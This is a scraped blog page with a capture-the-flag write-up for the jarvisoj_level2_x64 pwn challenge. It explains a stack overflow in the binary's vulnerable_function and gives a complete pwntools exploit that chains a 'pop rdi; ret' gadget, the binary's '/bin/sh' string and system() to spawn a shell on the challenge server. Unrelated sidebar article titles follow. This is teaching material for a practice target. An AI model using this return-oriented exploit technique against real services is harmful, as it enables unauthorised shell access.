当前位置:网站首页>jarvisoj_ level2_ x64
jarvisoj_ level2_ x64
2022-06-26 00:47:00 【[mzq]】
jarvisoj_level2_x64
Title address : https://buuoj.cn/challenges#jarvisoj_level2_x64
checksec once ,64 Bit program On protection has little effect (nx Stack is not executable , That is, you can't write on the stack shellcode)

main function
Mainly called vuln function , Everything else is OK

vulnerable_function function
First, this function calls system function , This makes plt Presence in table system, And can be called by us , then read Read out 0x200 A string , This is more than buf To rbp Distance of 0x80 Even bigger , Which in turn allows us to return
addr To cover , And then there is this program /bin/sh character string , We can go through system Direct access to shell

/bin/sh character string 
exp
from pwn import *
io = process("./level2_x64")
io = remote("node4.buuoj.cn",28824)
elf = ELF("./level2_x64")
context(log_level="debug",arch="amd64",os="linux")
system_addr = elf.symbols["system"]
binsh_addr = next(elf.search("/bin/sh"))
main_addr = elf.symbols["main"]
rdi_ret_addr = 0x00000000004006b3
ret_addr = 0x00000000004004a1
payload = flat(["a"*0x80,"aaaabbbb",rdi_ret_addr,binsh_addr,ret_addr,system_addr])
io.sendlineafter("Input:",payload)
io.interactive()
边栏推荐
猜你喜欢

Idea set the template of mapper mapping file

Cloud rendering and Intel jointly create the "core" era of cloud rendering

从进程的角度来解释 输入URL后浏览器会发生什么?

Preordered clue binary tree

Core ideas of SQL optimization

leetcode.14 --- 最长公共前缀

【图像检测】基于高斯过程和Radon变换实现血管跟踪和直径估计附matlab代码

Performance leads the cloud native database market! Intel and Tencent jointly build cloud technology ecology

Display unassigned virtual address after easyconnect connection

渗透工具-Burpsuite
随机推荐
debezium
Installing redis on Linux
Preorder and middle order traversal of forest
Web學習之TypeScript
DPVS fullnat mode deployment
Web学习之TypeScript
Types of feeder and how to work
Camkiia et gcamp6f sont - ils les mêmes?
js数组中修改元素的方法
Understanding of prototypes and prototype chains
Final review [machine learning]
DPVS fullnat mode management
使用VS2022编译Telegram桌面端(tdesktop)
Solution to SMT grape ball phenomenon
Leetcode 513. Find the value in the lower left corner of the tree
Atlas200dk刷机
How to bypass SSL authentication
"Method not allowed", 405 problem analysis and solution
基于OpenVINOTM开发套件“无缝”部署PaddleNLP模型
Machine vision: illuminating "intelligence" and creating a new "vision" world